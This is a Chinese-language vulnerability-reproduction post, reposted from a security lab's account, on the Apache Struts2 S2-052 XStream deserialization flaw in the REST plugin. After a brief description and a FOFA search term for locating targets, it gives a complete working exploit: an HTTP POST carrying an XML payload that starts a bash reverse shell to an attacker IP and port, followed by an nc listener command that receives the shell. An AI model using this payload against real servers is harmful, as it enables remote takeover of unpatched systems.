-Struts2-052 远程命令执行漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现-Struts2-052 远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

Struts是Apache软件基金会（ASF）赞助的一个开源项目。它最初是Jakarta项目中的一个子项目，并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术，实现了基于JavaEEWeb应用的Model-View-Controller（MVC）设计模式的应用框架，是MVC经典设计模式中的一个经典产品。在Struts2-052中，Struts2-Rest-Plugin这个插件是根据Content-Type或者扩展名来选择解析方法，xstream在默认情况下是可以引入任意对象的，所以他在处理xml的时候会发生RCE（xstream处理xml数据时，未对数据做任何过滤，在反序列化将xml数据转换成object时导致的RCE）。利用起来就是改Content-Type或扩展名.xmlapplication/xml触发恶意xml达到远程命令执行。

0x03 漏洞复现

漏洞影响:Struts 2.5 – Struts 2.5.12

FOFA:Struts2

1.构造poc执行反弹shell命令

POST /orders/3 HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/orders.xhtml
Cookie: JSESSIONID=E9F667F00C78322CF3928257836CED31
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 2421

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">
         <dataHandler>
           <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">
             <is class=\"javax.crypto.CipherInputStream\">
               <cipher class=\"javax.crypto.NullCipher\">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class=\"javax.imageio.spi.FilterIterator\">
                   <iter class=\"javax.imageio.spi.FilterIterator\">
                     <iter class=\"java.util.Collections$EmptyIterator\"/>
                     <next class=\"java.lang.ProcessBuilder\">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1</string>
</command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class=\"javax.imageio.ImageIO$ContainsFilter\">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class=\"string\">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>
     <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>
   </entry>
 </map>

2.nc监听，并得到一个shell

nc.exe -lvvp 7777